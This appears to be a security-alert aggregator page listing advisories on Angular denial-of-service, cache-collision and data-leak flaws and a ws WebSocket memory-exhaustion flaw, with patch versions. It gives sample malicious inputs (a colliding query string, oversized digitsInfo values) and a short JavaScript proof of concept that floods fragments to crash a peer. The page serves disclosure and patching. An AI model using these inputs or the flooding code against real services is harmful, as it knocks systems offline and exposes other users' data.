1. Server-Side Rendering (SSR) In Angular applications that leverage Server-Side Rendering, an attacker can supply a malicious payload with an excessively long date format string. Processing this on the server causes high CPU usage and triggers a JavaScript heap out of memory crash, rendering the application unavailable to all users.

2. Client-Side Rendering (CSR) In standard client-side applications, executing the vulnerable function with an excessively long format string blocks the browser's main thread, causing the browser tab to freeze and become completely unresponsive.

Patched Versions 22.0.1 21.2.17 20.3.25

Attack Preconditions For this vulnerability to be exploitable, both of the following conditions must be met: 1. Vulnerable Component Usage: The application must format dates using the formatDate utility or the DatePipe. 2. Attacker-Controlled Parameter: The date format string passed to these utilities must be customizable or directly controlled by untrusted user input (e.g., parsed from query parameters, user preferences, or API responses).

If the date format is hardcoded (e.g., 'mediumDate', 'shortTime', or static strings) or properly validated to be within a reasonable length limit, the application is not vulnerable.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 21.2.17, and 20.3.25, Angular's HttpTransferCache caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration. This avoids repeating the same HTTP requests on the client. The cached responses are stored in TransferState using a cache key generated by hashing request properties (method, response type, mapped URL, serialized body, and sorted query parameters). The cache keys are generated using a weak 32-bit DJB2-like polynomial rolling hash. The 32-bit hash space is extremely small, allowing attackers to find hash collisions. An attacker can easily find a query parameter string (e.g., q=aaCAZMMM for a search request) that produces the exact same 32-bit hash as a sensitive endpoint (e.g., /api/user/profile). When a victim visits a crafted link containing the colliding parameter, the SSR process executes both the search request and the profile request. Due to the hash collision, the search response overwrites the profile response in the TransferState cache. This vulnerability is fixed in 22.0.1, 21.2.17, and 20.3.25.

1 / 2
Source: MITRE
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A Denial of Service (DoS) vulnerability exists in the @angular/common package of Angular. The formatNumber function, which is also utilized by DecimalPipe, PercentPipe, and CurrencyPipe, does not properly validate the upper bounds of the digitsInfo parameter. Specifically, the minimum and maximum fraction digits parsed from the digitsInfo string (e.g., 1.2-4) are converted to integers and used without limits.

When parsing a maliciously crafted digitsInfo string with excessively large fraction digit values (e.g., 1.200000000-200000000), the internal roundNumber function attempts to pad the digits array to match the requested fraction size. This results in an unbounded loop that repeatedly pushes elements into an array.

Impact

Successful exploitation of this vulnerability allows an attacker to trigger resource exhaustion, leading to a Denial of Service (DoS):

Server-Side Rendering (SSR): In applications using SSR (e.g., @angular/ssr), an attacker can crash the Node.js server process due to a JavaScript heap out of memory error. This affects the availability of the application for all users. Client-Side Rendering (CSR): In standard client-side applications, the unbounded loop will block the main thread, freezing the user's browser tab and making it unresponsive.

Attack Preconditions

For this vulnerability to be exploitable, the following conditions must be met:

1. Vulnerable Component Usage: The application must use Angular's number formatting utilities, such as the formatNumber function directly, or via template pipes (DecimalPipe, PercentPipe, CurrencyPipe). 2. Attacker-Controlled Parameter: The digitsInfo parameter passed to these utilities must be customizable or directly controlled by untrusted user input (e.g., parsed from query parameters, user preference settings, or API responses that accept user-defined formatting options). If digitsInfo is trusted or limited to a known, defined range for its value, the vulnerability is not exploitable by external attackers.

Patches - 22.0.0-rc.2 - 21.2.15 - 20.3.22 - 19.2.23

Credits This vulnerability was discovered and reported by CodeMender from Google DeepMind.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A vulnerability was discovered in @angular/common when Server-Side Rendering (SSR) and hydration are enabled. The HttpTransferCache utility optimizes hydration by caching outgoing HTTP requests performed during SSR and transferring the cached state to the client-side application via TransferState.

However, the caching mechanism fails to inspect the withCredentials flag or the Cookie header of outgoing requests. As a result, credentialed, user-specific responses may be cached by default in the shared TransferState payload. When these responses are serialized into the HTML, any caching layer (such as a CDN, reverse proxy, or shared server cache) that caches the SSR-rendered HTML page could inadvertently cache and leak one user's private data to other users, leading to a high-severity information disclosure vulnerability.

Impact

Successful exploitation allows an unauthenticated attacker to obtain sensitive, user-specific information of other authenticated users. This occurs when:

The SSR-rendered HTML containing the cached private data is stored in a shared cache (e.g., CDN, reverse proxy). Subsequent requests for the same page receive the cached HTML containing the first user's private data.

Attack Preconditions

SSR and Hydration Enabled: The Angular application must be configured to use Server-Side Rendering and hydration (e.g., using provideClientHydration()). Credentialed Requests during SSR: The application must perform HTTP requests that require user-specific authentication (using cookies or withCredentials: true) during the initial server-side render. Shared Caching: The application's HTML responses must be cached by a shared caching layer (CDN, reverse proxy, or server-side cache) without proper cache-control headers to distinguish authenticated users.

Patches - 22.0.0-rc.2 - 21.2.15 - 20.3.22 - 19.2.23

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

js import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port});

ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });

ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(client close - code: ${code} reason: ${reason.toString()}); }); });

wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(server close - code: ${code} reason: ${reason.toString()}); }); });

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203